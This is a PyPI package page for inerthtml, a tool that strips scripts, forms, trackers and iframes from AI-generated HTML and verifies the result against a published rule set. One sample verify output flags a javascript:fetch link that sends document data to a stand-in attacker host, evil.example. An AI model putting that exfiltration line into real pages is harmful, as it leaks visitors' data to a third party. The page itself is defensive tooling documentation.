Skip to main content

A sample RFI workflow report before and after inerthtml: identical look, but 4 scripts, a login form, a tracking pixel and an iframe are gone, and verify passes.

inerthtml

HTML that looks the same but can't do anything.
Turn AI-generated HTML into one static file that is safe to share.
Charts are frozen, assets are embedded, scripts are gone, and anyone can verify it.

Check a file in your browser · The inert/1 rules · Use with AI agents


Why

AI is great at writing HTML: reports, dashboards and write-ups with real charts and layout. Sharing that HTML is the problem:

  • People can't trust it. An .html attachment can run JavaScript, show a fake login form, load trackers or assemble malware in the browser ("HTML smuggling"). Mail gateways block or flag HTML attachments for exactly this reason.
  • PDF export loses fidelity. Page breaks cut through layouts, print styles change how things look, and the result stops being a web page.

inerthtml keeps the HTML and removes everything that can act. What you get looks the same, opens in any browser, works offline, and comes with a rule set (inert/1) that anyone can check.

Quick start

pip install inerthtml
playwright install chromium        # one-time, for rendering charts

inerthtml build report.html            # → report.inert.html
inerthtml verify report.inert.html     # ✓ PASS (exit code 1 on failure)

Prefer not to install anything? Drop a file on the web checker. It runs entirely in your browser and never uploads the file.

What inerthtml build does

  1. Render. Opens the page in headless Chromium and lets its JavaScript draw: D3, ECharts, Plotly, Vega, Chart.js and so on.
  2. Freeze. SVG charts stay as crisp vector SVG. <canvas> charts become high-DPI PNGs. Form values and CSS-in-JS styles are baked in.
  3. Embed. Stylesheets, @imports, fonts and images become inline <style> blocks and data: URIs. The file needs nothing from the network.
  4. Strip. Removes scripts, event handlers, javascript: and data: links, forms, password and file fields, iframes, objects, <base>, meta refresh, tracking pixels and every external URL.
  5. Lock. Adds a strict Content Security Policy, so the browser blocks scripts and network access even if something slips through.
  6. Verify. Checks its own output against inert/1.

A fake 'shared document' login page before and after inerthtml. The look is kept, but the form, password field, hidden script and tracking pixel are removed.

What you keep, what you lose

Kept Lost
Layout, CSS, web fonts, images JavaScript of any kind
SVG charts (as vector) Chart tooltips and other JS-driven hover effects
Canvas charts (as high-DPI images) Live data, fetching, forms that submit
<details>, :hover, :target tabs and other CSS-only interactivity Audio, video and embedded frames
Links to http(s), mailto:, tel: (unless --strip-links) Links to javascript:, data: and file:

Tip: ask your AI to "render charts as SVG" (D3, ECharts with renderer: 'svg', Plotly, Vega-Lite) so charts stay vector after freezing.

Verify any file

verify never runs the file. It parses the file and checks it against the rules, so you can use it on files you don't trust:

$ inerthtml verify suspicious.html
✗ FAIL  suspicious.html
    - event handler onload on <body>
    - forbidden <input type=password>
    - forbidden element <form>
    - forbidden element <script>
    - missing CSP <meta> at the top of <head>
    - unsafe link on <a>: javascript:fetch('https://evil.example/?c='+docum

Use --json for CI, mail filters or scripts.

Use it with AI agents

Claude Code / Claude skills: copy skills/inerthtml into your skills folder. When Claude makes an HTML report you plan to share, it will build an inert copy and check it.

Any agent: add this to your system prompt or project instructions:

When you create an HTML file meant to be shared, render charts as SVG, then run inerthtml build <file> and share the resulting .inert.html file.

Python:

from inerthtml import build, verify

html, warnings, problems = build("report.html")
assert problems == []

CLI reference

inerthtml build INPUT... [-o OUT | --out-dir DIR] [--width 1280] [--wait 2000]
                     [--scale 2] [--no-render] [--strip-links] [--offline]
inerthtml verify FILE... [--json]
Option Meaning
--width Viewport width for rendering, in px
--wait Extra milliseconds for chart animations to finish
--scale Pixel density for canvas → PNG
--no-render Skip the browser and sanitize the HTML as written (fast; JS-drawn content is lost)
--strip-links Remove all hyperlinks but keep their text
--offline Never fetch remote assets; only embed local files

How is this different from…

Opens in any browser Keeps JS-drawn charts No scripts Checkable rule set
inerthtml ✓ ✓ ✓ ✓ (inert/1)
PDF export ✓ (PDF viewer) ✓ mostly ✗
SingleFile ✓ ✓ optional ✗
Monolith -j -I ✓ ✗ (doesn't run JS) ✓ ✗
PortableWeb .pweb needs a viewer ✓ ✗ (sandboxed JS) in progress
Hosted links (Pages, share services) ✓ ✓ ✗ ✗

SingleFile and Monolith are excellent page archivers, and inerthtml borrows ideas from both. The difference is the goal: inerthtml is built to make documents you share, with a written rule set and a verifier anyone can run.

FAQ

Can't someone just edit the file and add a script back? Yes, anyone can edit any file. They can't do it undetected: the edited file fails inerthtml verify, and the CSP still blocks scripts unless they remove it too. Verify, don't trust. Signing is on the roadmap.

Will email stop flagging it? Not yet. Gateways decide by file type. The rule set and verify --json exist so gateways and mail clients can tell inert files apart. For now, a link or a zip is often the smoothest way to share.

Is the content safe now? inerthtml makes sure the file can't do anything. It can't make the text truthful: a file can still say "call this number". Use --strip-links if links aren't needed.

Why is the file big? Fonts and images are embedded. Google Fonts in particular ship many subsets.

Roadmap

  • npx inerthtml (Node port of the CLI)
  • Browser extension: right-click → "open as inert"
  • Font subsetting for smaller files
  • Optional detached signatures (inerthtml sign / inerthtml verify --sig)
  • Full sanitize-and-embed in the web checker

Ideas and pull requests are welcome. See CONTRIBUTING.md.

License

MIT for the code, CC-BY 4.0 for SPEC.md.

Metadata

Release files for inerthtml 0.1.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for inerthtml 0.1.0
File Size Uploaded Provenance
inerthtml-0.1.0.tar.gz 1.2 MB With provenance Details

Built distribution (wheel)

Table of built distributions (wheels) for inerthtml 0.1.0
File Interpreter ABI Platform
inerthtml-0.1.0-py3-none-any.whl Python 3 none any Details

Total release size: 1.3 MB

Release files / inerthtml-0.1.0.tar.gz

Download URL inerthtml-0.1.0.tar.gz
Size 1.2 MB
Tags Source
SHA-256 checksum
How to use checksums
91015f0e141c58acd64c288ab38a4f8389975493e5d2dd62d10749c80f618fd8
BLAKE2b-256 checksum
How to use checksums
23a3a89643289d0b3f62930ed3cb3e863c52aded4b5fabdba8f75d2dd50a1752
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 12, 2026.

Transparency log

Release files / inerthtml-0.1.0-py3-none-any.whl

Download URL inerthtml-0.1.0-py3-none-any.whl
Size 15.8 kB
Tags Python 3
SHA-256 checksum
How to use checksums
0366f7a4502957bb8d4d1a3ea3d64b897faa6f7bd71a94864793f8898cdf2480
BLAKE2b-256 checksum
How to use checksums
837c4dc1bccbbc34ff2d831378aee338f439363cf882a506246be543c9841959
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 12, 2026.

Transparency log

Security for inerthtml 0.1.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

Full provenance

All 2 files in this release have been uploaded with provenance metadata.

Select from 2 files

Attestation for inerthtml-0.1.0.tar.gz

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 12, 2026.

Transparency log

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

0.1.0 This release

2 release files Full provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page